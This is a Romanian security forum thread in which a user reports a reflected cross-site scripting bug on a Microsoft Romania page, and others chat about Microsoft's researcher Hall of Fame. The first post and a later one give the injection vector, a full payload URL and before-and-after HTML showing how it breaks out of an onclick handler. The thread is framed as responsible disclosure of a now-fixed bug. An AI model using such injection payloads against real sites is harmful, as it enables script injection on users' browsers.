[XSS] www.microsoft.com

[dancezar]

Target: Microsoft România | Dispozitive ?i servicii

Exploit: Cross site scripting

Type: Reflected

Vector: ');alert('1

Proof:

http://s24.postimg.org/k0l8fkyyc/xss_microsoft.jpg

Se pare ca voi primi a treia oara Hall Of fame,luna urmatoare.

[Darkb0t]

wow, nice thread bro

congrats, hope you get a good reward, good work, keep

[qwerty12]

That's my boy ... nu are femei cate HOF-uri are <3

[dancezar]

That's my boy ... nu are femei cate HOF-uri are <3

ca vorba aia una da buna,hai bine 2;) te-ai gandit oleaca la asta nu?

[dirtycash]

Nu stii cand va face HoF pe luna octombrie? Au trecut 4 zile de la inceperea lunii.

[dancezar]

Nu stii cand va face HoF pe luna octombrie? Au trecut 4 zile de la inceperea lunii.

Pai nu stiu al meu nu a fost reparat inca,posibil sa mai astepte cateva zile sa se mai adune si eventual sa repare bugurile raportate

[dekeeu]

Ce-aveti ma ? E postat de mult pe octombrie..

Security Researcher Acknowledgments - Microsoft Online Services | TechNet

[dancezar]

pfffff f5:)) voi fi trecut pe noiembrie atunci:D

//Pe noiembrie trebuie sa urmeze in cateva zile

Edited November 4, 2013 by danyweb09

[dirtycash]

Ma scuzati vroiam sa zic pe noiembrie...

[dekeeu]

Nu se poate face pe noiembrie pentru ca de abia a inceput luna. Acea pagina se updateaza la inceputul fiecarei luni si contine 'colaboratorii' pentru luna precedenta.

[dirtycash]

Nu se poate face pe noiembrie pentru ca de abia a inceput luna. Acea pagina se updateaza la inceputul fiecarei luni si contine 'colaboratorii' pentru luna precedenta.

Dupa cum vezi nu s-a uptadat.

[dancezar]

Mno s-a reparat

http://www.microsoft.com/oem/pages/preferences.aspx?ReturnUrl=http://www.google.ro%27%29;alert%28document.domain%2b%27::danyweb09

Am uitat sa fac o poza necenzurata greseala mea, dar se observa clar din poza cenzurata ca este acelasi locatie.Js-ul sarea atunci cand dadem click pe Go .Inainte codul sursa aparea asa

<input type="button" value="Go" onclick="go('http://www.google.com');">

si cu vectorul : ');alert('1

Aparea:

<input type="button" value="Go" onclick="go('http://www.google.com[COLOR="#FF0000"]');alert('1');[/COLOR]">

Acuma au mutat acel redirect in action="....."